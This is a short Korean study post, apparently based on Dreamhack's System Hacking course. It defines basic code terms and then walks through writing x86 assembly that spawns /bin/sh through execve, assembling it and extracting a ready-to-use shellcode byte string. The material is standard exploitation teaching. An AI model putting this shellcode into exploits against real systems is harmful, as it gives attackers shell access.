시작하기 앞서, 용어 정리를 하고 가자.

바이너리 코드 (Binary code) 0과 1로 표현된 모든 데이터의 기본 형태
기계어 (Machine language) CPU가 직접 실행하는 바이너리 명령어
바이트 코드 (Byte code) 가상 머신에서 실행하기 위해 중간 코드로 변환된 코드
어셈블리어 (Assembly Language) 사람이 이해할 수 있는 기계어의 문자화된 표현

 

 

다음은 execve 시스템 호출을 통해 /bin/sh 쉘을 실행하는 어셈블리 코드다.

section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

shellcode.asm

 

 

nasm은 어셈블리어 코드를 작성하고 컴파일하는 어셈블러다.

nasm  어셈블러를 사용하여 shellcode.asm 파일을 컴파일하고, ELF 형식의 목적 파일(shellcode.o)을 생성한다.

 

 

objdump로 shellcode.o 목적 파일의 내용을 디스어셈블리하여 어셈블리어 코드로 출력한다.

바이너리 코드로 되어 있는 목적 파일을 사람이 읽을 수 있는 어셈블리어로 변환하여 보여준다.

 

 

 objcopy를 사용해서 바이너리 파일(shellcode.bin)을 만들고, 그 파일을 16진수로 확인한다.

 

 

위 xxd 출력 결과(16진수)에서 바이트 값들을 추출해서 다음과 같이 바이트 코드 형태의 쉘 코드를 만든다.

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

 

 

 

 

 

참고 - 드림핵( System Hacking )

 

System Hacking

시스템 해킹을 공부하기 위한 로드맵입니다.

dreamhack.io

 

+ Recent posts